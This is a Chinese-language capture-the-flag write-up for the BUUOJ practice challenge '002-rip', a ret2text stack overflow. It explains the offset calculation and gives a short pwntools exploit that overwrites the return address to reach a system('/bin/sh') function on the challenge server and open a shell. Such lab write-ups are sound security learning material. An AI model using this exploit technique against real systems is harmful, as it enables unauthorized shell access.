Java教程

002-rip

本文主要是介绍002-rip,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

刷题记录,题目来源:https://buuoj.cn/

ret2text,提供了直接的getshell函数,控制执行流到该shell函数中即可

查看源代码

发现fun()函数,内容为system("/bin/sh")可以直接拿到shell

RvwTdP.png

查看偏移值

【偏移值为15加上8?已解决】

偏移值为0xF,加上64位机器的地址是8字节

RvwoZt.png

db ? ; undefined

db 8 dup(?)
    db: 定义字节类型变量的伪指令
    dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定
    ?: 只分配存储空间,不指定初值

参考:https://www.cnblogs.com/Jlay/p/pwn_wp1.html

EXP

from pwn import *
context.arch = "amd64"
#sh = process("./002-rip")
sh = remote('node4.buuoj.cn', 28607)
elf = ELF("./002-rip")

system_addr = elf.symbols["fun"]
payload = flat(cyclic(23), system_addr + 1)
sh.send(payload)
sh.interactive()

system_addr + 1是为了堆栈平衡,【原理啥的】

RvwLRg.png

这篇关于002-rip的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!